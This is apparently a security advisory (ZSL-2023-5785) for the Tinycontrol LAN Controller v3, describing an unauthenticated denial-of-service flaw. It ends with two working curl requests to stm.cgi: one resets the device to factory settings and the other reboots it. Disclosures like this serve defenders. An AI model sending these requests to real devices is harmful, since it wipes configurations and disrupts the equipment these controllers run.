Tinycontrol LAN Controller v3 (LK3) Remote Denial Of Service Exploit Vendor: Tinycontrol Product web page: https://www.tinycontrol.pl Affected version: <=1.58a, HW 3.8 Summary: Lan Controller is a very universal device that allows you to connect many different sensors and remotely view their readings and remotely control various types of outputs. It is also possible to combine both functions into an automatic if -> this with a calendar when -> then. The device provides a user interface in the form of a web page. The website presents readings of various types of sensors: temperature, humidity, pressure, voltage, current. It also allows you to configure the device, incl. event setting and controlling up to 10 outputs. Thanks to the support of many protocols, it is possible to operate from smartphones, collect and observ the results on the server, as well as cooperation with other I/O systems based on TCP/IP and Modbus. Desc: The controller suffers from an unauthenticated remote denial of service vulnerability. An attacker can issue direct requests to the stm.cgi page to reboot and also reset factory settings on the device. Tested on: lwIP Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5785 Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5785.php 18.08.2023 -- $ curl http://192.168.1.1:8082/stm.cgi?eeprom_reset=1 # restore default settings $ curl http://192.168.1.1:8082/stm.cgi?lk3restart=1 # reboot controller